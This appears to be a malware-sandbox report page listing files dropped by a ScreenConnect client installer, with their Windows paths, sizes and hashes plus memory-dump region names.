Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe
Size 575KB
SHA256 87bee75f88520f8aaebb9d843f765ec6a1ecea288ed9470af202610d7357654d
MD5 751c0c5eb4122412f182d73051e31f06
SHA1 6c63fad44bd8193eb71ccd768f99d62b23d46c00
SHA512 5058a503d9943152cee0f4d52fe049d57c744a58aa54b6136ec1ee73d094ae42023ffb2efcd47e6d6ab47970b314d98618eee76418479298b31fc7d1c8f3b034
SSDEEP 6144:DZpqLWJSylfGuvlQRuHyRq24LLCqIScCLDrPPCv+Fgdrf9ujkjJTLgKlpX0JHOoW:DZxuT74DrHStpkFOo8x0aQ3avIPvCczG
TLSH
T1EEC47D2633B89B25C4BF0B3DA171544893B5E8067246E79F8558F8E62D8F391CD0A3E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

app.config

Path C:\ProgramData\Microsoft\Windows\Caches\c4f8a2e19b3d\app.config
Size 2KB
SHA256 a5d1b0de6d9acf192fac47bca13f382b6ba13f8bbaf4e1210458b9d80cc14a96
MD5 66f32230943e473368f2bc6bb57342a2
SHA1 f23ca9555983a905840017fdecdf34cccd2b5a7c
SHA512 5462a661c2eeb71ee51c86ddde853278f5dd3f94b10333d1b5154f1c22ec704a0f49e237583e7c0a23fb4641cb60bcfe7824874889240ac17d25b73fc48edbce
TLSH
T1A151A31DB5D0AE5985A25631E73121D1EC70383312E6B0E478DE316B9F70EDA47F32A6
MD5 SHA1 SHA512 TLSH

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user.config

Path C:\ProgramData\c4f8a2e19b3d\user.config
Size 545B
SHA256 f15bfc893a4387fe043f1467676d77937e56ee2e49f8415748410e39114d8b04
MD5 60634910ed71abd957e58efceadf81c0
SHA1 7bfc702b0939ace435b8fc84b246cda6cbf25892
SHA512 366c14e1f9fc3efacebe2d1e271026a718dcb8039091b62068052abbc6aa6ea2c00021169a914f1c57b482f65f320264433793f8e47634ba84ccae59512afc2d
TLSH
T15DF059383184FE1B16331E22C6528740EE715B931025545874EF623B8F704DB03B32E6
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.ClientSetup.msi

Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
Size 2.3MB
SHA256 62507648ca7235745f5113200b5167a075cd63b99ce11386570d7a6a40d78705
MD5 e34fea5f65ab1030327b0034dbea1bee
SHA1 dfea970f217227a715670c2bd0706cc35f5e69cd
SHA512 73c965892080c1b161331760a7ef461eb69919321259bdc26cccf9b730aa327569b7d62ced52d2ab4e619e45989c2158a530f9239f8572ccc429a27a6f529f69
SSDEEP 49152:IgzAdVWLby7z1YO5vI4arBJIpydcU7/nJQ6MwsGuoiIj8PCo1gj:Hzi0u7eOe48BeYdHJQ6bsG17at
TLSH
T1BCB5122232E8C139E2F61A35E93A91F16939BD20DA22C15F53547D1E3DB0E8096B3777
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI4879.tmp

Path C:\Windows\Installer\MSI4879.tmp
Size 357KB
SHA256 5dc07837213877ce025157a733ef13fd4a6b33b8c7e6e92eb4d790b98d5367cb
MD5 98062e7044ebbcca1edb044a2c118bd0
SHA1 214d9daf9eff64f28cdd77278854c8228defc038
SHA512 d25ebd7e58d53d71470fddfa01bea496d76b7bf89ae8e736d4c7f4fc3ddd91c3eff1bf510dc5e894f80d86f4fd4b2927f8e4333dcaccb395dea7dbef49e3aa87
SSDEEP 6144:4UUG777hkC5AnjtkuHnPcIPrpaPC4qXyH7b3gcE4darp:4UUa/hkuAnjl0Ij8PCXX877gOq
TLSH
T18574F11132F58036F2F72B305E75A2914ABD79B16A70C38E7B86066D4EF1B81DA94733
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Windows\Installer\MSI4879.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Windows\Installer\MSI4879.tmp-\ScreenConnect.Core.dll
Size 447KB
SHA256 e3f9f13e1237309ee53b2857ec479bb66c0a3b70a0370dc9940236d9a02782c8
MD5 c3dc16938aa9337c29dd045208aca145
SHA1 6ae53d26f9db35dcd7c1a005cd0c9ea7f998b144
SHA512 7d008dea7c5d3c70d172ecda85a437923285fa0838bf00ac5485d4eb995e75fcda7b2b9b1907997c62441a864fd6ed549dbf90887b31511eb7ab780d21bdc3d6
SSDEEP 6144:nrQ4yFEl3VPGxSTlJAroi/R05u2ahY4cKH+0az0eOe3Canfwc7Wxy0hcXVg4mwgF:ndl3VPV7QoiHBOy/urm
TLSH
T113A45A2433E56A6AC93D47FEB430091C4374EC59AD8FFB5BA7D5F8652CA33449D002AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Windows\Installer\MSI4879.tmp-\ScreenConnect.InstallerActions.dll
Size 18KB
SHA256 fe1ec5232d2c8e09000bc6d57ef568f1ee5c5fe31f5506312903c3a17cda0ce8
MD5 0cb90880fb67f56d7e5768e19d530504
SHA1 ff93bcd9e7827e4f93fbdcb6893918c246a77933
SHA512 3b22c20fa7977530ba278392aa7c3519eaa89c31ef4d3b9bc215321d2633d287f52a69184e64feaf85b6413115f31a07bca5f3a00b6dbc9776f227c727e85bbc
SSDEEP 384:5RUEjCTZibUPSK3M1aNdeFarMx61kjvxU5ydoEubz:zUEcZiUPSK3fWFjy5ydubz
TLSH
T1B7829401B3ED9A1AF1FF2F79ACB641540A72FD62AC35D71E1A84111E4D31B488EA0B77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI4D2E.tmp

Path C:\Windows\Installer\MSI4D2E.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/2504-88-0x0000000004110000-0x00000000042CA000-memory.dmp

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memory/2504-89-0x00000000042D0000-0x0000000004458000-memory.dmp

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memory/2504-79-0x0000000003E20000-0x0000000003E4C000-memory.dmp

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memory/2504-94-0x0000000004800000-0x0000000004894000-memory.dmp

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memory/2504-95-0x00000000047B0000-0x0000000004800000-memory.dmp

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memory/2504-73-0x0000000003DB0000-0x0000000003DBE000-memory.dmp

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memory/4080-1-0x000001F020850000-0x000001F020C6E000-memory.dmp

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memory/5316-27-0x0000000005CF0000-0x0000000005D66000-memory.dmp

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memory/5316-23-0x0000000005BF0000-0x0000000005BFA000-memory.dmp

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memory/5316-19-0x0000000005BC0000-0x0000000005BEE000-memory.dmp

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memory/6112-110-0x000000001B5F0000-0x000000001B7AA000-memory.dmp

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memory/6112-109-0x000000001B040000-0x000000001B0B6000-memory.dmp

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memory/6112-107-0x0000000000370000-0x0000000000404000-memory.dmp

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memory/6112-113-0x000000001B940000-0x000000001BAC8000-memory.dmp

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memory/6112-108-0x0000000002660000-0x000000000268C000-memory.dmp

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memory/6112-117-0x0000000002510000-0x000000000251E000-memory.dmp

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